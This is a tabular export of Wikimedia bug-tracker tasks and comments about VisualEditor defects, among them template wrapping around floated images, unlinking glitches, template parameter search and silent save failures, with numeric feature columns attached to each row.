53708,"VisualEditor: Inline templates don't wrap, assume width:100%, so break layout around floated items","In Visual Editor edit screen templates that produce a single line of displayed text (regardless of the length of that line) do not wrap on word boundaries.

Steps to reproduce:
1. Insert a picture or other right-aligned object that text should wrap around.
2. Transclude a template that produces a single line of text. {{EW charity|123456|This charity has got a long name to make it easy to test this bug}} is an example
3. Reduce the width of your browser window until the text produced by the template is longer than the avaialble space between the left margin and the picture.

Expected behaviour: The last word(s) of the text produced by the template wraps onto a second line.
Actual behaviour: The entire line moves to below the picture as a single unit.

Any template that produces two or more lines of displayed text (on an infinitely wide window) does not exhibit this behaviour and wraps correctly. For example:

""Long text<br>1"" wraps correctly

""Long text
1""
""Long text<br>"" and
""Long text<br>
<!--hidden-->"" all exhibit this bug.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52445
https://bugzilla.wikimedia.org/show_bug.cgi?id=50395",High,80.0,1374266280,1403047655.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-hbtmtpgjefyo637ujihd,task_description,resolved,True,c1,3,False,False,False,2,,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,7.333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,3.6666666666666665,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,18.333333333333332,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,7.0,0.6666666666666666,8.666666666666666,0.0,1.6666666666666667,9.666666666666666,0.0,0.0,0.3333333333333333,0.0,3.0,0.0,1.0,0.0,0.6666666666666666,8.0,1.6666666666666667,0.0,3.0,0.0,0.6666666666666666,0.0,1.0,3.0,0.0,0.0,0.6666666666666666,0.0,3.6666666666666665,3.6971873911529083,0.6076715430163706,"In Visual Editor edit screen templates that produce a single line of displayed text (regardless of the length of that line) do not wrap on word boundaries.

Steps to reproduce:
1. Insert a picture or other right-aligned object that text should wrap around.
2. Transclude a template that produces a single line of text. {{EW charity|123456|This charity has got a long name to make it easy to test this bug}} is an example
3. Reduce the width of your browser window until the text produced by the template is longer than the avaialble space between the left margin and the picture.

Expected behaviour: The last word(s) of the text produced by the template wraps onto a second line.
Actual behaviour: The entire line moves to below the picture as a single unit.

Any template that produces two or more lines of displayed text (on an infinitely wide window) does not exhibit this behaviour and wraps correctly. For example:

""Long text<br>1"" wraps correctly

""Long text
1""
""Long text<br>"" and
""Long text<br>
<!--hidden-->"" all exhibit this bug.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
239329,"VisualEditor: Inline templates don't wrap, assume width:100%, so break layout around floated items","Change 139806 merged by jenkins-bot:
Remove display:inline-block highlight hacks

https://gerrit.wikimedia.org/r/139806",,,1403047632,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hbtmtpgjefyo637ujihd,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.473684210526316,0.8947368421052632,"Change 139806 merged by jenkins-bot:
Remove display:inline-block highlight hacks

GERRIT_URL"
239325,"VisualEditor: Inline templates don't wrap, assume width:100%, so break layout around floated items","Change 139806 had a related patch set uploaded by Esanders:
Remove display:inline-block highlight hacks

https://gerrit.wikimedia.org/r/139806",,,1402916033,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hbtmtpgjefyo637ujihd,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.681818181818182,0.9545454545454546,"Change 139806 had a related patch set uploaded by Esanders:
Remove display:inline-block highlight hacks

GERRIT_URL"
239319,"VisualEditor: Inline templates don't wrap, assume width:100%, so break layout around floated items","Inline templates are overridden to inline-block, but setting them back to inline would mean we have to calculate the highlights using getClientRects. Might want to wait for the much discussed SVG highlights for this?",,,1402837289,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-hbtmtpgjefyo637ujihd,task_subcomment,,True,c1,3,True,,,49,,3.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,8.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,15.0,5.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,4.6923076923076925,0.8205128205128205,"Inline templates are overridden to inline-block, but setting them back to inline would mean we have to calculate the highlights using getClientRects. Might want to wait for the much discussed SVG highlights for this?"
239313,"VisualEditor: Inline templates don't wrap, assume width:100%, so break layout around floated items",*** Bug 62800 has been marked as a duplicate of this bug. ***,,,1395169574,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hbtmtpgjefyo637ujihd,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 62800 has been marked as a duplicate of this bug. ***
239306,"VisualEditor: Inline templates don't wrap, assume width:100%, so break layout around floated items",*** Bug 52320 has been marked as a duplicate of this bug. ***,,,1394223928,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hbtmtpgjefyo637ujihd,task_subcomment,,True,c1,3,True,,,35,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52320 has been marked as a duplicate of this bug. ***
53679,VisualEditor: unlinking via linking tool triggers weird behaviors,"See http://it.wikipedia.org/wiki/File:Pic_-_VE_-_it_-_18_July_2013.png .

http://it.wikipedia.org/wiki/Tellururo_di_mercurio_e_cadmio

My understanding is that unlinking can be both done by the clear formatting button or by the trash button in the linking tool.

If you don't select exactly the word that you want to unlink (so if you include even just a space, which I guess can surely happen), you'll be able to unlink via the linking tool by clicking on the garbage can: but then, a weird cursor appears and you can no longer edit links or templates. 

According to me and itwp users that happens with both FF and Chrome.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374237180,1380650852.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-lskwjin7vud63rd4ruhi,task_description,declined,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,0.5,3.5,1.5,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,2.0,1.0,5.0,8.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.5,0.0,4.0,1.5,0.0,0.0,3.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.5,1.0,0.0,9.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,2.0,0.0,0.0,0.5,1.0,0.0,5.0,1.5,7.0,1.5,5.5,6.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,4.5,8.0,2.0,0.0,0.0,0.0,4.5,0.0,2.0,1.5,1.0,3.0,0.0,0.0,0.0,3.7608173076923075,0.7441105769230769,"See URL .

URL

My understanding is that unlinking can be both done by the clear formatting button or by the trash button in the linking tool.

If you don't select exactly the word that you want to unlink (so if you include even just a space, which I guess can surely happen), you'll be able to unlink via the linking tool by clicking on the garbage can: but then, a weird cursor appears and you can no longer edit links or templates. 

According to me and itwp users that happens with both FF and Chrome.

--------------------------
**Version**: unspecified
**Severity**: normal"
237554,VisualEditor: unlinking via linking tool triggers weird behaviors,"Worksforus, at it.wp. Will re-open if necessary.",,,1380650852,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-lskwjin7vud63rd4ruhi,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,25.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9166666666666666,"Worksforus, at it.wp. Will re-open if necessary."
237551,VisualEditor: unlinking via linking tool triggers weird behaviors,"Switching to Unconfirmed, since I can no longer reproduce this. Will ask other Italian testers if they can, otherwise I'll mark it as Resolved.",,,1380631760,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-lskwjin7vud63rd4ruhi,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,10.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,14.0,14.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.137931034482759,0.8620689655172413,"Switching to Unconfirmed, since I can no longer reproduce this. Will ask other Italian testers if they can, otherwise I'll mark it as Resolved."
237548,VisualEditor: unlinking via linking tool triggers weird behaviors,"Another user reports getting the weird cursor but being still able to work regularly after that (his specs, Firefox on W7 64bit, Monobook).
I'm looking for the quickest way to produce screencasts for you (Chrome does not seem to have valid plugins for that unfortunately).",,,1375039918,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-lskwjin7vud63rd4ruhi,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,11.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.163636363636364,0.8181818181818182,"Another user reports getting the weird cursor but being still able to work regularly after that (his specs, Firefox on W7 64bit, Monobook).
I'm looking for the quickest way to produce screencasts for you (Chrome does not seem to have valid plugins for that unfortunately)."
237545,VisualEditor: unlinking via linking tool triggers weird behaviors,"Don't even mention it, James :)
Sorry I can't provide a video today ;)
but will try to explain more carefully.
It definitely still occurs, it was just reported (among other things) in

http://it.wikipedia.org/wiki/Rodney .

The clear formatting works fine.
Properly unlinking a single word works fine.
In this article, if I just select, say, from ""toponimo"" to ""antica"" and use the linking tool to unlink, I will be able to do it the first time but then I'll get the limited functionalities listed above.
The same if I just select ""adespota,"" .
I don't do anything else before or after that.
It happens with both Monobook and Vector and on en.wp as well, I just tried editing the article ""Penguin"".

Thanks.",,,1374656653,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-lskwjin7vud63rd4ruhi,task_subcomment,,True,c1,3,False,,,3,,0.0,0.5,0.0,0.5,1.5,5.5,0.5,0.0,0.0,1.0,1.5,2.0,0.0,0.0,0.0,4.0,0.5,10.5,7.0,0.5,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,1.5,0.0,3.5,0.0,2.5,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,6.5,0.5,0.5,0.0,2.5,0.0,0.5,0.0,0.0,0.5,0.0,2.5,2.0,0.0,0.5,0.0,0.0,0.0,4.5,1.0,12.0,1.0,4.0,5.5,0.0,0.5,0.0,0.0,5.5,1.5,0.0,0.0,7.0,7.0,3.5,0.0,4.5,0.0,7.0,0.0,0.0,1.0,0.0,1.5,0.5,0.0,0.5,3.4876543209876543,0.7098765432098766,"Don't even mention it, James :)
Sorry I can't provide a video today ;)
but will try to explain more carefully.
It definitely still occurs, it was just reported (among other things) in

URL .

The clear formatting works fine.
Properly unlinking a single word works fine.
In this article, if I just select, say, from ""toponimo"" to ""antica"" and use the linking tool to unlink, I will be able to do it the first time but then I'll get the limited functionalities listed above.
The same if I just select ""adespota,"" .
I don't do anything else before or after that.
It happens with both Monobook and Vector and on en.wp as well, I just tried editing the article ""Penguin"".

Thanks."
237542,VisualEditor: unlinking via linking tool triggers weird behaviors,"I can't reproduce this in either Chrome or Firefox - by drag-selecting the word with the mouse, right-clicking, double-clicking; and by selection with the keyboard or drag-clicking with the mouse to select more than the word, using both the link inspector and its remove (""trash"") icon and the general ""clear formatting"" tool. :-(

Does this occur on every page? What about after a hard-refresh? Can you make a video/screencast of you doing this so I can see exactly how it occurs? Sorry to ask so much!",,,1374644511,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lskwjin7vud63rd4ruhi,task_subcomment,,True,c1,3,True,,,3,,2.0,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,1.0,5.0,9.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,1.0,1.5,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,0.0,6.0,2.0,3.5,9.5,0.0,0.0,1.0,0.0,4.5,1.0,0.0,0.0,4.5,9.5,1.0,2.5,3.5,0.0,4.5,0.0,2.0,2.0,0.0,2.0,0.5,0.0,0.0,3.6409558378705382,0.7400181488203267,"I can't reproduce this in either Chrome or Firefox - by drag-selecting the word with the mouse, right-clicking, double-clicking; and by selection with the keyboard or drag-clicking with the mouse to select more than the word, using both the link inspector and its remove (""trash"") icon and the general ""clear formatting"" tool. :-(

Does this occur on every page? What about after a hard-refresh? Can you make a video/screencast of you doing this so I can see exactly how it occurs? Sorry to ask so much!"
53670,VisualEditor: Transclusion dialog parameter filter should search on both parameter name and parameter label,"Two screenshots showing the search function applied to {{cite book}} on en.wp

A user on the English Wikipedia reports that when entering a template using the transclusion editor, the search for parameters fails when the parameter includes a space:

""when I start typing ""Source date"" (without quotes, of course) into the search box, something interesting happens when I get to the ""d"" - the search results say ""Unknown parameter"". That is, at the point where I've typed ""Source d"", then - essentially - the search fails; the search software decides that there are no matching entries.""

I've tested this with both {{cite web}} and {{cite book}}

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51822

**Attached**: {F11265}",High,80.0,1374227460,1377959027.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-y2l4ooxqksxji4wptopd,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,2.0,0.0,4.5,6.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,1.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,17.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,7.0,0.5,10.0,3.5,0.5,9.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.0,6.0,3.5,0.0,5.0,0.0,2.0,0.0,2.5,1.5,0.0,2.0,0.0,0.0,0.0,3.626373626373626,0.6153846153846154,"Two screenshots showing the search function applied to {{cite book}} on en.wp

A user on the English Wikipedia reports that when entering a template using the transclusion editor, the search for parameters fails when the parameter includes a space:

""when I start typing ""Source date"" (without quotes, of course) into the search box, something interesting happens when I get to the ""d"" - the search results say ""Unknown parameter"". That is, at the point where I've typed ""Source d"", then - essentially - the search fails; the search software decides that there are no matching entries.""

I've tested this with both {{cite web}} and {{cite book}}

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL

**Attached**: {F11265}"
237017,VisualEditor: Transclusion dialog parameter filter should search on both parameter name and parameter label,"Will this allow searching on instring matches of both title and label? 

If not, will that be covered by bug 51822 or is a new bug required?",,,1378119303,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-y2l4ooxqksxji4wptopd,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,3.0,6.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.6774193548387095,0.9354838709677419,"Will this allow searching on instring matches of both title and label? 

If not, will that be covered by bug 51822 or is a new bug required?"
237013,VisualEditor: Transclusion dialog parameter filter should search on both parameter name and parameter label,"This is now fixed in master, and will be released to MediaWiki.org on Thursday 5 September, and to Wikipedias on Thursday 12 September. Sorry for the disruption.",,,1377959027,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y2l4ooxqksxji4wptopd,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,26.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,19.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.354838709677419,0.7741935483870968,"This is now fixed in master, and will be released to MediaWiki.org on Thursday 5 September, and to Wikipedias on Thursday 12 September. Sorry for the disruption."
237007,VisualEditor: Transclusion dialog parameter filter should search on both parameter name and parameter label,"Change 82055 merged by jenkins-bot:
Include param label in search index

https://gerrit.wikimedia.org/r/82055",,,1377910117,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2l4ooxqksxji4wptopd,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.352941176470588,1.0,"Change 82055 merged by jenkins-bot:
Include param label in search index

GERRIT_URL"
237002,VisualEditor: Transclusion dialog parameter filter should search on both parameter name and parameter label,"Change 82055 had a related patch set uploaded by Trevor Parscal:
Include param label in search index

https://gerrit.wikimedia.org/r/82055",,,1377901233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2l4ooxqksxji4wptopd,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.619047619047619,1.0,"Change 82055 had a related patch set uploaded by Trevor Parscal:
Include param label in search index

GERRIT_URL"
236994,VisualEditor: Transclusion dialog parameter filter should search on both parameter name and parameter label,"A user on Wikipedia has determined that the cause is that the data the search function searches on is the internal parameter name, which is invisible to the user, not the visible label. This is very wrong. 

""So VE users have learned that the only way, in the Transclusion/Template dialog, to add a parameter is to type the parameter name, then press Enter. But that just changed - now you click the parameter name to select it. That's more obvious - but if, for some reason, having learned the old way, you continue to use it - that's trouble.

Example: Cite web. Let's suppose I want to add the parameter ""Month of publication"". I type that, hit Enter, and there it is, on the left. Except, not really. VE thinks this is a parameter not on its list - you can tell that because there is no description just above the input box where you enter the value of that parameter. (Compare to entering a value for the parameter ""Source title"").

Under the hood, here's what happens: VE knows that ""Source title"" is the label (via TemplateData) for the parameter ""title"". (Similarly, ""URL"" is the label for the parameter ""url"" - and yes, parameters are case sensitive.) But VE doesn't know that ""Month of publication"" (typed) is the label for the parameter ""month"". So the template code that VE actually stores is this:

    {{Cite web|url = http://example.com|title = Whatever the title is|Month of publication = June}}

That doesn't cause a visible problem on the VE edit page. However, in this case, after saving the page, what is displayed to readers is ""Unknown parameter |Month of publication= ignored (help) ""

Recommendation: If a person types the name of a parameter and presses Enter, VE should check the typed name against the list of labels in TemplateData, for that template, and if there is a match, handle the new parameter just as if the person had clicked the matching parameter rather than typed it.""",,,1374423427,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-y2l4ooxqksxji4wptopd,task_subcomment,,True,c1,3,False,,,2,,0.2,0.0,0.2,0.2,1.0,2.6,2.0,0.2,0.0,1.0,1.2,0.4,0.2,0.2,0.4,0.4,0.0,4.4,10.0,0.0,1.0,0.2,0.0,0.0,0.8,0.2,0.0,0.2,0.2,0.0,0.0,7.0,1.8,1.0,0.4,0.8,0.0,0.2,0.8,0.2,0.2,0.0,0.2,1.2,0.0,0.2,0.2,0.0,0.4,15.6,1.8,1.2,0.6,1.0,0.0,0.0,0.0,0.8,0.6,0.0,0.0,0.4,0.0,0.8,0.4,0.0,0.0,8.6,3.4,9.2,2.8,1.4,11.4,0.0,0.0,0.0,0.0,3.4,0.2,0.2,0.0,2.4,10.0,4.6,0.0,4.2,0.0,2.4,0.0,1.4,1.8,0.0,0.6,0.2,0.0,0.0,3.709607843137255,0.6532212885154062,"A user on Wikipedia has determined that the cause is that the data the search function searches on is the internal parameter name, which is invisible to the user, not the visible label. This is very wrong. 

""So VE users have learned that the only way, in the Transclusion/Template dialog, to add a parameter is to type the parameter name, then press Enter. But that just changed - now you click the parameter name to select it. That's more obvious - but if, for some reason, having learned the old way, you continue to use it - that's trouble.

Example: Cite web. Let's suppose I want to add the parameter ""Month of publication"". I type that, hit Enter, and there it is, on the left. Except, not really. VE thinks this is a parameter not on its list - you can tell that because there is no description just above the input box where you enter the value of that parameter. (Compare to entering a value for the parameter ""Source title"").

Under the hood, here's what happens: VE knows that ""Source title"" is the label (via TemplateData) for the parameter ""title"". (Similarly, ""URL"" is the label for the parameter ""url"" - and yes, parameters are case sensitive.) But VE doesn't know that ""Month of publication"" (typed) is the label for the parameter ""month"". So the template code that VE actually stores is this:

    {{Cite web|url = URL = Whatever the title is|Month of publication = June}}

That doesn't cause a visible problem on the VE edit page. However, in this case, after saving the page, what is displayed to readers is ""Unknown parameter |Month of publication= ignored (help) ""

Recommendation: If a person types the name of a parameter and presses Enter, VE should check the typed name against the list of labels in TemplateData, for that template, and if there is a match, handle the new parameter just as if the person had clicked the matching parameter rather than typed it."""
53636,VisualEditor: Saving fails silently when the database is locked,"**Author:** `kwang`

**Description:**
This shows the article and the visual editor save dialog

I added a link to a new page but it wouldn't let me save my edit. Every time I saved it would load but then display the save page dialog again.

I ended up creating the link in the source.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53093

